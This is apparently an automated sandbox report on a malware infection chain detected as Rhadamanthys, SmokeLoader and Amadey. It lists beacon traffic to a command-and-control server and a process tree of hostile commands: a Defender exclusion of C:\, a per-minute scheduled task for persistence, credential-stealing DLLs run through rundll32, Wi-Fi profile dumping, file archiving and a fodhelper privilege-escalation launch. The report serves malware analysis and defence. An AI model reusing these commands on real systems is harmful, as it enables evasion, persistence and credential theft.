Apr 9, 2024 14:55:05.475761890 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:05.676250935 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49843	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:05.964370966 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:06.142847061 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3

Target ID:	0
Start time:	14:52:59
Start date:	09/04/2024
Path:	C:\Users\user\Desktop\e7CLP6462y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e7CLP6462y.exe"
Imagebase:	0x400000
File size:	490'496 bytes
MD5 hash:	D9A13BB5645FE754CDC2A10A638660F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:53:03
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x540000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:53:08
Start date:	09/04/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff7f5510000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:53:28
Start date:	09/04/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Imagebase:	0x7ff68e550000
File size:	124'816 bytes
MD5 hash:	E9C3EC13A9C77B393692D748D8EB83CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:53:28
Start date:	09/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe"
Imagebase:	0x7ff6d2bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:53:28
Start date:	09/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:53:28
Start date:	09/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:53:31
Start date:	09/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7699e0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:53:34
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Roaming\D4C0.vmt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\D4C0.vmt.exe"
Imagebase:	0x400000
File size:	31'232 bytes
MD5 hash:	B45B01A98A16E750EFE0C5BCE4613896
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:53:39
Start date:	09/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2303406320.000000000E710000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	14:53:59
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Roaming\utihrjr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\utihrjr
Imagebase:	0x400000
File size:	31'232 bytes
MD5 hash:	B45B01A98A16E750EFE0C5BCE4613896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\utihrjr, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:54:01
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Local\Temp\B677.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B677.exe
Imagebase:	0x400000
File size:	490'496 bytes
MD5 hash:	D9A13BB5645FE754CDC2A10A638660F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2347834429.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 58%, ReversingLabs Detection: 67%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:54:01
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Local\Temp\B88B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B88B.exe
Imagebase:	0x2e0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000000.2299545232.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\B88B.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 76%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:54:02
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Imagebase:	0xeb0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000000.2306338149.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 76%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:54:02
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:54:03
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:54:03
Start date:	09/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:54:03
Start date:	09/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:54:04
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Imagebase:	0xeb0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000000.2323835443.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:54:04
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:54:05
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Imagebase:	0x460000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:54:05
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	14:54:05
Start date:	09/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Imagebase:	0x7ff783960000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:54:06
Start date:	09/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6e8850000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:54:06
Start date:	09/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:54:06
Start date:	09/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	14:54:07
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Imagebase:	0x460000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	14:54:09
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	14:54:09
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x540000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001F.00000003.2387945281.0000000005100000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001F.00000003.2387276709.0000000004EE0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:54:10
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	14:54:10
Start date:	09/04/2024
Path:	C:\Windows\System32\tar.exe
Wow64 process (32bit):	false
Commandline:	tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\."
Imagebase:	0x7ff792fd0000
File size:	54'784 bytes
MD5 hash:	3596DC15B6F6CBBB6EC8B143CBD57F24
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:54:10
Start date:	09/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:54:11
Start date:	09/04/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	14:54:12
Start date:	09/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xdf0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	14:54:31
Start date:	09/04/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff7f5510000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	14:54:59
Start date:	09/04/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Imagebase:	0x7ff68e550000
File size:	124'816 bytes
MD5 hash:	E9C3EC13A9C77B393692D748D8EB83CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:55:02
Start date:	09/04/2024
Path:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Imagebase:	0xeb0000
File size:	446'976 bytes
MD5 hash:	F1D836A36148E8D03BF2DF952E970FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:55:02
Start date:	09/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /k START C:\Windows\System32\fodhelper.exe
Imagebase:	0x7ff6d2bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	14:55:02
Start date:	09/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	14:55:02
Start date:	09/04/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\fodhelper.exe
Imagebase:	0x7ff657290000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:55:02
Start date:	09/04/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fodhelper.exe"
Imagebase:	0x7ff657290000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:55:03
Start date:	09/04/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fodhelper.exe"
Imagebase:	0x7ff657290000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:55:03
Start date:	09/04/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Imagebase:	0x7ff68e550000
File size:	124'816 bytes
MD5 hash:	E9C3EC13A9C77B393692D748D8EB83CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	26.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	87
Total number of Limit Nodes:	2

Executed Functions

Function 0040170C Relevance: 40.7, APIs: 22, Strings: 1, Instructions: 415
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00100000,01000000), ref: 00401725
HeapAlloc.KERNEL32(?,00000008,0000003C,?,00000000), ref: 00401765
GetModuleHandleA.KERNEL32(00000000,?,00000000), ref: 00401772
HeapAlloc.KERNEL32(?,00000008,0004B000,?,00000000), ref: 00401785
